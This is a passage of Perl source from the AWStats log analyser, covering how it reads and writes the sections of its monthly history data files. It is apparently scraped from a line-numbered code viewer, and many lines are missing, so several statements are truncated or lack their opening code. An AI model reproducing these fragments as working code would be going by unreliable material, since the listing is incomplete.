debug(" Stop reading history file. Got all we need.");
5588
if ( $field[0] eq 'BEGIN_KEYWORDS' ) {
5591
" Begin of KEYWORDS section ($MaxNbOf{'KeywordsShown'},$MinHit{'Keyword'})"
5596
my $countloaded = 0;
5600
if ( $SectionsToLoad{'keywords'} ) {
5602
if ( $MonthRequired eq 'all' ) { $loadrecord = 1; }
5604
if ( $countloaded < $MaxNbOf{'KeywordsShown'}
5605
&& $field[1] >= $MinHit{'Keyword'} )
5609
$TotalDifferentKeywords++;
5610
$TotalKeywords += ( $field[1] || 0 );
5614
$_keywords{ $field[0] } += $field[1];
5625
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5627
} until ( $field[0] eq 'END_KEYWORDS'
5628
|| $field[0] eq "${xmleb}END_KEYWORDS"
5630
if ( $field[0] ne 'END_KEYWORDS'
5631
&& $field[0] ne "${xmleb}END_KEYWORDS" )
5634
"History file \"$filetoread\" is corrupted (End of section KEYWORDS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5640
" End of KEYWORDS section ($count entries, $countloaded loaded)"
5643
delete $SectionsToLoad{'keywords'};
5644
if ( $SectionsToSave{'keywords'} ) {
5645
Save_History( 'keywords', $year, $month, $date );
5646
delete $SectionsToSave{'keywords'};
5647
if ($withpurge) { %_keywords = (); }
5649
if ( !scalar %SectionsToLoad ) {
5650
debug(" Stop reading history file. Got all we need.");
5657
if ( $field[0] eq 'BEGIN_ERRORS' ) {
5658
if ($Debug) { debug(" Begin of ERRORS section"); }
5661
my $countloaded = 0;
5665
if ( $SectionsToLoad{'errors'} ) {
5668
$_errors_h{ $field[0] } += $field[1];
5671
$_errors_k{ $field[0] } += $field[2];
5680
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5682
} until ( $field[0] eq 'END_ERRORS'
5683
|| $field[0] eq "${xmleb}END_ERRORS"
5685
if ( $field[0] ne 'END_ERRORS'
5686
&& $field[0] ne "${xmleb}END_ERRORS" )
5689
"History file \"$filetoread\" is corrupted (End of section ERRORS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5695
" End of ERRORS section ($count entries, $countloaded loaded)"
5698
delete $SectionsToLoad{'errors'};
5699
if ( $SectionsToSave{'errors'} ) {
5700
Save_History( 'errors', $year, $month, $date );
5701
delete $SectionsToSave{'errors'};
5702
if ($withpurge) { %_errors_h = (); %_errors_k = (); }
5704
if ( !scalar %SectionsToLoad ) {
5705
debug(" Stop reading history file. Got all we need.");
5712
foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) {
5713
if ( $field[0] eq "BEGIN_SIDER_$code" ) {
5714
if ($Debug) { debug(" Begin of SIDER_$code section"); }
5717
my $countloaded = 0;
5721
if ( $SectionsToLoad{"sider_$code"} ) {
5724
$_sider404_h{ $field[0] } += $field[1];
5726
if ( $withupdate || $HTMLOutput{"errors$code"} )
5729
$_referer404_h{ $field[0] } = $field[2];
5741
? XMLDecodeFromHisto($_)
5746
} until ( $field[0] eq "END_SIDER_$code"
5747
|| $field[0] eq "${xmleb}END_SIDER_$code"
5749
if ( $field[0] ne "END_SIDER_$code"
5750
&& $field[0] ne "${xmleb}END_SIDER_$code" )
5753
"History file \"$filetoread\" is corrupted (End of section SIDER_$code not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5759
" End of SIDER_$code section ($count entries, $countloaded loaded)"
5762
delete $SectionsToLoad{"sider_$code"};
5763
if ( $SectionsToSave{"sider_$code"} ) {
5764
Save_History( "sider_$code", $year, $month, $date );
5765
delete $SectionsToSave{"sider_$code"};
5768
%_referer404_h = ();
5771
if ( !scalar %SectionsToLoad ) {
5772
debug(" Stop reading history file. Got all we need.");
5780
foreach my $extranum ( 1 .. @ExtraName - 1 ) {
5781
if ( $field[0] eq "BEGIN_EXTRA_$extranum" ) {
5782
if ($Debug) { debug(" Begin of EXTRA_$extranum"); }
5785
my $countloaded = 0;
5787
if ( $field[0] ne '' ) {
5789
if ( $SectionsToLoad{"extra_$extranum"} ) {
5790
if ( $ExtraStatTypes[$extranum] =~ /P/i
5793
${ '_section_' . $extranum . '_p' }
5794
{ $field[0] } += $field[1];
5796
${ '_section_' . $extranum . '_h' }
5797
{ $field[0] } += $field[2];
5798
if ( $ExtraStatTypes[$extranum] =~ /B/i
5801
${ '_section_' . $extranum . '_k' }
5802
{ $field[0] } += $field[3];
5804
if ( $ExtraStatTypes[$extranum] =~ /L/i
5805
&& !${ '_section_' . $extranum . '_l' }
5809
${ '_section_' . $extranum . '_l' }
5810
{ $field[0] } = int( $field[4] );
5822
? XMLDecodeFromHisto($_)
5827
} until ( $field[0] eq "END_EXTRA_$extranum"
5828
|| $field[0] eq "${xmleb}END_EXTRA_$extranum"
5830
if ( $field[0] ne "END_EXTRA_$extranum"
5831
&& $field[0] ne "${xmleb}END_EXTRA_$extranum" )
5834
"History file \"$filetoread\" is corrupted (End of section EXTRA_$extranum not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5840
" End of EXTRA_$extranum section ($count entries, $countloaded loaded)"
5843
delete $SectionsToLoad{"extra_$extranum"};
5844
if ( $SectionsToSave{"extra_$extranum"} ) {
5845
Save_History( "extra_$extranum", $year, $month, $date );
5846
delete $SectionsToSave{"extra_$extranum"};
5848
%{ '_section_' . $extranum . '_p' } = ();
5849
%{ '_section_' . $extranum . '_h' } = ();
5850
%{ '_section_' . $extranum . '_b' } = ();
5851
%{ '_section_' . $extranum . '_l' } = ();
5854
if ( !scalar %SectionsToLoad ) {
5855
debug(" Stop reading history file. Got all we need.");
5863
if ( $AtLeastOneSectionPlugin
5864
&& $field[0] =~ /^BEGIN_PLUGIN_(\w+)$/i )
5866
my $pluginname = $1;
5868
foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) {
5869
if ( $pluginname eq $_ ) {
5871
# The plugin for this section was loaded
5873
my $issectiontoload =
5874
$SectionsToLoad{"plugin_$pluginname"};
5876
# my $function="SectionReadHistory_$pluginname(\$issectiontoload,\$readxml,\$xmleb,\$countlines)";
5877
# eval("$function");
5878
my $function = "SectionReadHistory_$pluginname";
5879
&$function( $issectiontoload, $readxml, $xmleb,
5881
delete $SectionsToLoad{"plugin_$pluginname"};
5882
if ( $SectionsToSave{"plugin_$pluginname"} ) {
5883
Save_History( "plugin_$pluginname",
5884
$year, $month, $date );
5885
delete $SectionsToSave{"plugin_$pluginname"};
5888
# my $function="SectionInitHashArray_$pluginname()";
5889
# eval("$function");
5891
"SectionInitHashArray_$pluginname";
5898
if ( !scalar %SectionsToLoad ) {
5899
debug(" Stop reading history file. Got all we need.");
5903
# The plugin for this section was not loaded
5913
? XMLDecodeFromHisto($_)
5918
} until ( $field[0] eq "END_PLUGIN_$pluginname"
5919
|| $field[0] eq "${xmleb}END_PLUGIN_$pluginname"
5925
# For backward compatibility (ORIGIN section was "HitFromx" in old history files)
5926
if ( $SectionsToLoad{'origin'} ) {
5927
if ( $field[0] eq 'HitFrom0' ) {
5929
$_from_h[0] += $field[1];
5932
if ( $field[0] eq 'HitFrom1' ) {
5934
$_from_h[1] += $field[1];
5937
if ( $field[0] eq 'HitFrom2' ) {
5939
$_from_h[2] += $field[1];
5942
if ( $field[0] eq 'HitFrom3' ) {
5944
$_from_h[3] += $field[1];
5947
if ( $field[0] eq 'HitFrom4' ) {
5949
$_from_h[4] += $field[1];
5952
if ( $field[0] eq 'HitFrom5' ) {
5954
$_from_h[5] += $field[1];
5963
# Process rest of data saved in 'wait' arrays (data for hosts that are not in history file or no history file found)
5964
# This can change some values for day, sider and session sections
5965
if ($Debug) { debug( " Processing data in 'wait' arrays", 3 ); }
5966
foreach ( keys %_waithost_e ) {
5968
debug( " Visit in 'wait' array for $_ is a new visit", 4 );
5971
( $_waithost_s{$_} ? $_waithost_s{$_} : $_host_s{$_} );
5973
( $_waithost_l{$_} ? $_waithost_l{$_} : $_host_l{$_} );
5974
$_url_e{ $_waithost_e{$_} }++;
5975
$newtimehosts =~ /^(\d\d\d\d\d\d\d\d)/;
5977
if ( $_waithost_s{$_} ) {
5979
# There was also a second session in processed log
5980
$_session{ GetSessionRange( $newtimehosts, $newtimehostl ) }++;
5985
# Write all unwrote sections in section order ('general','time', 'day','sider','session' and other...)
5988
" Check and write all unwrote sections: "
5989
. join( ',', keys %SectionsToSave ),
5994
sort { $SectionsToSave{$a} <=> $SectionsToSave{$b} }
5995
keys %SectionsToSave
5998
Save_History( "$key", $year, $month, $date, $lastlinenb,
5999
$lastlineoffset, $lastlinechecksum );
6001
%SectionsToSave = ();
6003
# Update offset in map section and last data in general section then close files
6005
if ($xml) { print HISTORYTMP "\n\n</xml>\n"; }
6007
# Update offset of sections in the MAP section
6008
foreach ( sort { $PosInFile{$a} <=> $PosInFile{$b} } keys %ValueInFile )
6012
" Update offset of section $_=$ValueInFile{$_} in file at offset $PosInFile{$_}"
6015
if ( $PosInFile{"$_"} ) {
6016
seek( HISTORYTMP, $PosInFile{"$_"}, 0 );
6017
print HISTORYTMP $ValueInFile{"$_"};
6021
# Save last data in general sections
6024
" Update MonthVisits=$MonthVisits{$year.$month} in file at offset $PosInFile{TotalVisits}"
6027
seek( HISTORYTMP, $PosInFile{"TotalVisits"}, 0 );
6028
print HISTORYTMP $MonthVisits{ $year . $month };
6031
" Update MonthUnique=$MonthUnique{$year.$month} in file at offset $PosInFile{TotalUnique}"
6034
seek( HISTORYTMP, $PosInFile{"TotalUnique"}, 0 );
6035
print HISTORYTMP $MonthUnique{ $year . $month };
6038
" Update MonthHostsKnown=$MonthHostsKnown{$year.$month} in file at offset $PosInFile{MonthHostsKnown}"
6041
seek( HISTORYTMP, $PosInFile{"MonthHostsKnown"}, 0 );
6042
print HISTORYTMP $MonthHostsKnown{ $year . $month };
6045
" Update MonthHostsUnknown=$MonthHostsUnknown{$year.$month} in file at offset $PosInFile{MonthHostsUnknown}"
6048
seek( HISTORYTMP, $PosInFile{"MonthHostsUnknown"}, 0 );
6049
print HISTORYTMP $MonthHostsUnknown{ $year . $month };
6050
close(HISTORYTMP) || error("Failed to write temporary history file");
6053
close(HISTORY) || error("Command for pipe '$filetoread' failed");
6057
if ($withpurge) { &Init_HashArray(); }
6059
# If update, rename tmp file bis into tmp file or set HistoryAlreadyFlushed
6061
if ( $HistoryAlreadyFlushed{"$year$month$day$hour"} ) {
6063
"Rename tmp history file bis '$filetoread' to '$filetowrite'");
6064
if ( rename( $filetowrite, $filetoread ) == 0 ) {
6065
error("Failed to update tmp history file $filetoread");
6069
$HistoryAlreadyFlushed{"$year$month$day$hour"} = 1;
6072
if ( !$ListOfYears{"$year"} || $ListOfYears{"$year"} lt "$month" ) {
6073
$ListOfYears{"$year"} = "$month";
6077
# For backward compatibility, if LastLine does not exist, set to LastTime
6078
$LastLine ||= $LastTime{$date};
6080
return ( $withupdate ? "$filetowrite" : "" );
6083
#------------------------------------------------------------------------------
6084
# Function: Save a part of history file
6085
# Parameters: sectiontosave,year,month,breakdate[,lastlinenb,lastlineoffset,lastlinechecksum]
6086
# Input: $VERSION HISTORYTMP $nowyear $nowmonth $nowday $nowhour $nowmin $nowsec $LastLineNumber $LastLineOffset $LastLineChecksum
6089
#------------------------------------------------------------------------------
6091
my $sectiontosave = shift || '';
6092
my $year = shift || '';
6093
my $month = shift || '';
6094
my $breakdate = shift || '';
6096
my $xml = ( $BuildHistoryFormat eq 'xml' ? 1 : 0 );
6098
$xmlbb, $xmlbs, $xmlbe, $xmlhb, $xmlhs, $xmlhe,
6099
$xmlrb, $xmlrs, $xmlre, $xmleb, $xmlee
6101
= ( '', '', '', '', '', '', '', '', '', '', '' );
6104
$xmlbb, $xmlbs, $xmlbe, $xmlhb, $xmlhs, $xmlhe,
6105
$xmlrb, $xmlrs, $xmlre, $xmleb, $xmlee
6108
"</comment><nu>\n", '</nu><recnb>',
6109
'</recnb><table>', '<tr><th>',
6110
'</th><th>', '</th></tr>',
6111
'<tr><td>', '</td><td>',
6112
'</td></tr>', '</table><nu>',
6116
else { $xmlbs = ' '; $xmlhs = ' '; $xmlrs = ' '; }
6118
my $lastlinenb = shift || 0;
6119
my $lastlineoffset = shift || 0;
6120
my $lastlinechecksum = shift || 0;
6121
if ( !$lastlinenb ) { # This happens for migrate
6122
$lastlinenb = $LastLineNumber;
6123
$lastlineoffset = $LastLineOffset;
6124
$lastlinechecksum = $LastLineChecksum;
6129
" Save_History [sectiontosave=$sectiontosave,year=$year,month=$month,breakdate=$breakdate,lastlinenb=$lastlinenb,lastlineoffset=$lastlineoffset,lastlinechecksum=$lastlinechecksum]",
6134
my %keysinkeylist = ();
6137
if ( $sectiontosave eq 'header' ) {
6138
if ($xml) { print HISTORYTMP "<version><lib>\n"; }
6139
print HISTORYTMP "AWSTATS DATA FILE $VERSION\n";
6140
if ($xml) { print HISTORYTMP "</lib><comment>\n"; }
6142
"# If you remove this file, all statistics for date $breakdate will be lost/reset.\n";
6144
"# Last config file used to build this data file was $FileConfig.\n";
6145
if ($xml) { print HISTORYTMP "</comment></version>\n"; }
6146
print HISTORYTMP "\n";
6148
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6151
"# Position (offset in bytes) in this file for beginning of each section for\n";
6153
"# direct I/O access. If you made changes somewhere in this file, you should\n";
6155
"# also remove completely the MAP section (AWStats will rewrite it at next\n";
6156
print HISTORYTMP "# update).\n";
6157
print HISTORYTMP "${xmlbb}BEGIN_MAP${xmlbs}"
6158
. ( 26 + ( scalar keys %TrapInfosForHTTPErrorCodes ) +
6159
( scalar @ExtraName ? scalar @ExtraName - 1 : 0 ) +
6160
( scalar keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) )
6162
print HISTORYTMP "${xmlrb}POS_GENERAL${xmlrs}";
6163
$PosInFile{"general"} = tell HISTORYTMP;
6164
print HISTORYTMP "$spacebar${xmlre}\n";
6167
print HISTORYTMP "${xmlrb}POS_TIME${xmlrs}";
6168
$PosInFile{"time"} = tell HISTORYTMP;
6169
print HISTORYTMP "$spacebar${xmlre}\n";
6170
print HISTORYTMP "${xmlrb}POS_VISITOR${xmlrs}";
6171
$PosInFile{"visitor"} = tell HISTORYTMP;
6172
print HISTORYTMP "$spacebar${xmlre}\n";
6173
print HISTORYTMP "${xmlrb}POS_DAY${xmlrs}";
6174
$PosInFile{"day"} = tell HISTORYTMP;
6175
print HISTORYTMP "$spacebar${xmlre}\n";
6178
print HISTORYTMP "${xmlrb}POS_DOMAIN${xmlrs}";
6179
$PosInFile{"domain"} = tell HISTORYTMP;
6180
print HISTORYTMP "$spacebar${xmlre}\n";
6181
print HISTORYTMP "${xmlrb}POS_LOGIN${xmlrs}";
6182
$PosInFile{"login"} = tell HISTORYTMP;
6183
print HISTORYTMP "$spacebar${xmlre}\n";
6184
print HISTORYTMP "${xmlrb}POS_ROBOT${xmlrs}";
6185
$PosInFile{"robot"} = tell HISTORYTMP;
6186
print HISTORYTMP "$spacebar${xmlre}\n";
6187
print HISTORYTMP "${xmlrb}POS_WORMS${xmlrs}";
6188
$PosInFile{"worms"} = tell HISTORYTMP;
6189
print HISTORYTMP "$spacebar${xmlre}\n";
6190
print HISTORYTMP "${xmlrb}POS_EMAILSENDER${xmlrs}";
6191
$PosInFile{"emailsender"} = tell HISTORYTMP;
6192
print HISTORYTMP "$spacebar${xmlre}\n";
6193
print HISTORYTMP "${xmlrb}POS_EMAILRECEIVER${xmlrs}";
6194
$PosInFile{"emailreceiver"} = tell HISTORYTMP;
6195
print HISTORYTMP "$spacebar${xmlre}\n";
6198
print HISTORYTMP "${xmlrb}POS_SESSION${xmlrs}";
6199
$PosInFile{"session"} = tell HISTORYTMP;
6200
print HISTORYTMP "$spacebar${xmlre}\n";
6201
print HISTORYTMP "${xmlrb}POS_SIDER${xmlrs}";
6202
$PosInFile{"sider"} = tell HISTORYTMP;
6203
print HISTORYTMP "$spacebar${xmlre}\n";
6204
print HISTORYTMP "${xmlrb}POS_FILETYPES${xmlrs}";
6205
$PosInFile{"filetypes"} = tell HISTORYTMP;
6206
print HISTORYTMP "$spacebar${xmlre}\n";
6207
print HISTORYTMP "${xmlrb}POS_OS${xmlrs}";
6208
$PosInFile{"os"} = tell HISTORYTMP;
6209
print HISTORYTMP "$spacebar${xmlre}\n";
6210
print HISTORYTMP "${xmlrb}POS_BROWSER${xmlrs}";
6211
$PosInFile{"browser"} = tell HISTORYTMP;
6212
print HISTORYTMP "$spacebar${xmlre}\n";
6213
print HISTORYTMP "${xmlrb}POS_SCREENSIZE${xmlrs}";
6214
$PosInFile{"screensize"} = tell HISTORYTMP;
6215
print HISTORYTMP "$spacebar${xmlre}\n";
6216
print HISTORYTMP "${xmlrb}POS_UNKNOWNREFERER${xmlrs}";
6217
$PosInFile{'unknownreferer'} = tell HISTORYTMP;
6218
print HISTORYTMP "$spacebar${xmlre}\n";
6219
print HISTORYTMP "${xmlrb}POS_UNKNOWNREFERERBROWSER${xmlrs}";
6220
$PosInFile{'unknownrefererbrowser'} = tell HISTORYTMP;
6221
print HISTORYTMP "$spacebar${xmlre}\n";
6224
print HISTORYTMP "${xmlrb}POS_ORIGIN${xmlrs}";
6225
$PosInFile{"origin"} = tell HISTORYTMP;
6226
print HISTORYTMP "$spacebar${xmlre}\n";
6227
print HISTORYTMP "${xmlrb}POS_SEREFERRALS${xmlrs}";
6228
$PosInFile{"sereferrals"} = tell HISTORYTMP;
6229
print HISTORYTMP "$spacebar${xmlre}\n";
6230
print HISTORYTMP "${xmlrb}POS_PAGEREFS${xmlrs}";
6231
$PosInFile{"pagerefs"} = tell HISTORYTMP;
6232
print HISTORYTMP "$spacebar${xmlre}\n";
6233
print HISTORYTMP "${xmlrb}POS_SEARCHWORDS${xmlrs}";
6234
$PosInFile{"searchwords"} = tell HISTORYTMP;
6235
print HISTORYTMP "$spacebar${xmlre}\n";
6236
print HISTORYTMP "${xmlrb}POS_KEYWORDS${xmlrs}";
6237
$PosInFile{"keywords"} = tell HISTORYTMP;
6238
print HISTORYTMP "$spacebar${xmlre}\n";
6241
print HISTORYTMP "${xmlrb}POS_MISC${xmlrs}";
6242
$PosInFile{"misc"} = tell HISTORYTMP;
6243
print HISTORYTMP "$spacebar${xmlre}\n";
6244
print HISTORYTMP "${xmlrb}POS_ERRORS${xmlrs}";
6245
$PosInFile{"errors"} = tell HISTORYTMP;
6246
print HISTORYTMP "$spacebar${xmlre}\n";
6247
print HISTORYTMP "${xmlrb}POS_CLUSTER${xmlrs}";
6248
$PosInFile{"cluster"} = tell HISTORYTMP;
6249
print HISTORYTMP "$spacebar${xmlre}\n";
6251
foreach ( keys %TrapInfosForHTTPErrorCodes ) {
6252
print HISTORYTMP "${xmlrb}POS_SIDER_$_${xmlrs}";
6253
$PosInFile{"sider_$_"} = tell HISTORYTMP;
6254
print HISTORYTMP "$spacebar${xmlre}\n";
6256
foreach ( 1 .. @ExtraName - 1 ) {
6257
print HISTORYTMP "${xmlrb}POS_EXTRA_$_${xmlrs}";
6258
$PosInFile{"extra_$_"} = tell HISTORYTMP;
6259
print HISTORYTMP "$spacebar${xmlre}\n";
6261
foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) {
6262
print HISTORYTMP "${xmlrb}POS_PLUGIN_$_${xmlrs}";
6263
$PosInFile{"plugin_$_"} = tell HISTORYTMP;
6264
print HISTORYTMP "$spacebar${xmlre}\n";
6266
print HISTORYTMP "${xmleb}END_MAP${xmlee}\n";
6270
if ( $sectiontosave eq 'general' ) {
6271
$LastUpdate = int("$nowyear$nowmonth$nowday$nowhour$nowmin$nowsec");
6272
print HISTORYTMP "\n";
6274
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6277
"# LastLine = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value\n";
6279
"# FirstTime = Date of first visit for history file\n";
6281
"# LastTime = Date of last visit for history file\n";
6283
"# LastUpdate = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped\n";
6284
print HISTORYTMP "# TotalVisits = Number of visits\n";
6285
print HISTORYTMP "# TotalUnique = Number of unique visitors\n";
6286
print HISTORYTMP "# MonthHostsKnown = Number of hosts known\n";
6287
print HISTORYTMP "# MonthHostsUnKnown = Number of hosts unknown\n";
6288
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6289
print HISTORYTMP "${xmlbb}BEGIN_GENERAL${xmlbs}8${xmlbe}\n";
6290
print HISTORYTMP "${xmlrb}LastLine${xmlrs}"
6291
. ( $LastLine > 0 ? $LastLine : $LastTime{$breakdate} )
6292
. " $lastlinenb $lastlineoffset $lastlinechecksum${xmlre}\n";
6293
print HISTORYTMP "${xmlrb}FirstTime${xmlrs}"
6294
. $FirstTime{$breakdate}
6296
print HISTORYTMP "${xmlrb}LastTime${xmlrs}"
6297
. $LastTime{$breakdate}
6300
"${xmlrb}LastUpdate${xmlrs}$LastUpdate $NbOfLinesParsed $NbOfOldLines $NbOfNewLines $NbOfLinesCorrupted $NbOfLinesDropped${xmlre}\n";
6301
print HISTORYTMP "${xmlrb}TotalVisits${xmlrs}";
6302
$PosInFile{"TotalVisits"} = tell HISTORYTMP;
6303
print HISTORYTMP "$spacebar${xmlre}\n";
6304
print HISTORYTMP "${xmlrb}TotalUnique${xmlrs}";
6305
$PosInFile{"TotalUnique"} = tell HISTORYTMP;
6306
print HISTORYTMP "$spacebar${xmlre}\n";
6307
print HISTORYTMP "${xmlrb}MonthHostsKnown${xmlrs}";
6308
$PosInFile{"MonthHostsKnown"} = tell HISTORYTMP;
6309
print HISTORYTMP "$spacebar${xmlre}\n";
6310
print HISTORYTMP "${xmlrb}MonthHostsUnknown${xmlrs}";
6311
$PosInFile{"MonthHostsUnknown"} = tell HISTORYTMP;
6312
print HISTORYTMP "$spacebar${xmlre}\n";
6313
print HISTORYTMP "${xmleb}"
6314
. ( ${xmleb} ? "\n" : "" )
6315
. "END_GENERAL${xmlee}\n"
6316
; # END_GENERAL on a new line following xml tag because END_ detection does not work like other sections
6320
if ( $sectiontosave eq 'time' ) {
6321
print HISTORYTMP "\n";
6323
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6326
"# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth\n";
6327
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6328
print HISTORYTMP "${xmlbb}BEGIN_TIME${xmlbs}24${xmlbe}\n";
6329
for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
6330
print HISTORYTMP "${xmlrb}$ix${xmlrs}"
6331
. int( $_time_p[$ix] )
6333
. int( $_time_h[$ix] )
6335
. int( $_time_k[$ix] )
6337
. int( $_time_nv_p[$ix] )
6339
. int( $_time_nv_h[$ix] )
6341
. int( $_time_nv_k[$ix] )
6344
print HISTORYTMP "${xmleb}END_TIME${xmlee}\n";
6346
if ( $sectiontosave eq 'day' )
6347
{ # This section must be saved after VISITOR section is read
6348
print HISTORYTMP "\n";
6350
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6352
print HISTORYTMP "# Date - Pages - Hits - Bandwidth - Visits\n";
6353
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6354
print HISTORYTMP "${xmlbb}BEGIN_DAY${xmlbs}"
6355
. ( scalar keys %DayHits )
6357
my $monthvisits = 0;
6358
foreach ( sort keys %DayHits ) {
6359
if ( $_ =~ /^$year$month/i ) { # Found a day entry of the good month
6360
my $page = $DayPages{$_} || 0;
6361
my $hits = $DayHits{$_} || 0;
6362
my $bytes = $DayBytes{$_} || 0;
6363
my $visits = $DayVisits{$_} || 0;
6365
"${xmlrb}$_${xmlrs}$page${xmlrs}$hits${xmlrs}$bytes${xmlrs}$visits${xmlre}\n";
6366
$monthvisits += $visits;
6369
$MonthVisits{ $year . $month } = $monthvisits;
6370
print HISTORYTMP "${xmleb}END_DAY${xmlee}\n";
6374
if ( $sectiontosave eq 'domain' ) {
6375
print HISTORYTMP "\n";
6378
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'Domain'}</sortfor><comment>\n";
6380
print HISTORYTMP "# Domain - Pages - Hits - Bandwidth\n";
6382
"# The $MaxNbOf{'Domain'} first Pages must be first (order not required for others)\n";
6383
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6384
print HISTORYTMP "${xmlbb}BEGIN_DOMAIN${xmlbs}"
6385
. ( scalar keys %_domener_h )
6388
# We save page list in score sorted order to get a -output faster and with less use of memory.
6390
$MaxNbOf{'Domain'}, $MinHit{'Domain'},
6391
\%_domener_h, \%_domener_p
6393
my %keysinkeylist = ();
6394
foreach (@keylist) {
6395
$keysinkeylist{$_} = 1;
6396
my $page = $_domener_p{$_} || 0;
6397
my $bytes = $_domener_k{$_}
6398
|| 0; # ||0 could be commented to reduce history file size
6400
"${xmlrb}$_${xmlrs}$page${xmlrs}$_domener_h{$_}${xmlrs}$bytes${xmlre}\n";
6402
foreach ( keys %_domener_h ) {
6403
if ( $keysinkeylist{$_} ) { next; }
6404
my $page = $_domener_p{$_} || 0;
6405
my $bytes = $_domener_k{$_}
6406
|| 0; # ||0 could be commented to reduce history file size
6408
"${xmlrb}$_${xmlrs}$page${xmlrs}$_domener_h{$_}${xmlrs}$bytes${xmlre}\n";
6410
print HISTORYTMP "${xmleb}END_DOMAIN${xmlee}\n";
6412
if ( $sectiontosave eq 'visitor' ) {
6413
print HISTORYTMP "\n";
6416
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'HostsShown'}</sortfor><comment>\n";
6419
"# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]\n";
6421
"# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished\n";
6423
"# The $MaxNbOf{'HostsShown'} first Hits must be first (order not required for others)\n";
6424
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6425
print HISTORYTMP "${xmlbb}BEGIN_VISITOR${xmlbs}"
6426
. ( scalar keys %_host_h )
6428
my $monthhostsknown = 0;
6430
# We save page list in score sorted order to get a -output faster and with less use of memory.
6431
&BuildKeyList( $MaxNbOf{'HostsShown'}, $MinHit{'Host'}, \%_host_h,
6433
my %keysinkeylist = ();
6434
foreach my $key (@keylist) {
6435
if ( $key !~ /^\d+\.\d+\.\d+\.\d+$/ && $key !~ /^[0-9A-F]*:/i ) {
6438
$keysinkeylist{$key} = 1;
6439
my $page = $_host_p{$key} || 0;
6440
my $bytes = $_host_k{$key} || 0;
6441
my $timehostl = $_host_l{$key} || 0;
6442
my $timehosts = $_host_s{$key} || 0;
6443
my $lastpage = $_host_u{$key} || '';
6444
if ( $timehostl && $timehosts && $lastpage ) {
6446
if ( ( $timehostl + $VISITTIMEOUT ) < $LastLine ) {
6448
# Session for this user is expired
6450
$_session{ GetSessionRange( $timehosts, $timehostl ) }
6453
if ($lastpage) { $_url_x{$lastpage}++; }
6454
delete $_host_s{$key};
6455
delete $_host_u{$key};
6457
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlre}\n";
6461
# If this user has started a new session that is not expired
6463
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlrs}$timehosts${xmlrs}$lastpage${xmlre}\n";
6467
my $hostl = $timehostl || '';
6469
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$hostl${xmlre}\n";
6472
foreach my $key ( keys %_host_h ) {
6473
if ( $keysinkeylist{$key} ) { next; }
6474
if ( $key !~ /^\d+\.\d+\.\d+\.\d+$/ && $key !~ /^[0-9A-F]*:/i ) {
6477
my $page = $_host_p{$key} || 0;
6478
my $bytes = $_host_k{$key} || 0;
6479
my $timehostl = $_host_l{$key} || 0;
6480
my $timehosts = $_host_s{$key} || 0;
6481
my $lastpage = $_host_u{$key} || '';
6482
if ( $timehostl && $timehosts && $lastpage ) {
6483
if ( ( $timehostl + $VISITTIMEOUT ) < $LastLine ) {
6485
# Session for this user is expired
6487
$_session{ GetSessionRange( $timehosts, $timehostl ) }
6490
if ($lastpage) { $_url_x{$lastpage}++; }
6491
delete $_host_s{$key};
6492
delete $_host_u{$key};
6494
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlre}\n";
6498
# If this user has started a new session that is not expired
6500
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlrs}$timehosts${xmlrs}$lastpage${xmlre}\n";
6504
my $hostl = $timehostl || '';
6506
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$hostl${xmlre}\n";
6509
$MonthUnique{ $year . $month } = ( scalar keys %_host_p );
6510
$MonthHostsKnown{ $year . $month } = $monthhostsknown;
6511
$MonthHostsUnknown{ $year . $month } =
6512
( scalar keys %_host_h ) - $monthhostsknown;
6513
print HISTORYTMP "${xmleb}END_VISITOR${xmlee}\n";
6515
if ( $sectiontosave eq 'login' ) {
6516
print HISTORYTMP "\n";
6519
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'LoginShown'}</sortfor><comment>\n";
6521
print HISTORYTMP "# Login - Pages - Hits - Bandwidth - Last visit\n";
6523
"# The $MaxNbOf{'LoginShown'} first Pages must be first (order not required for others)\n";
6524
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6525
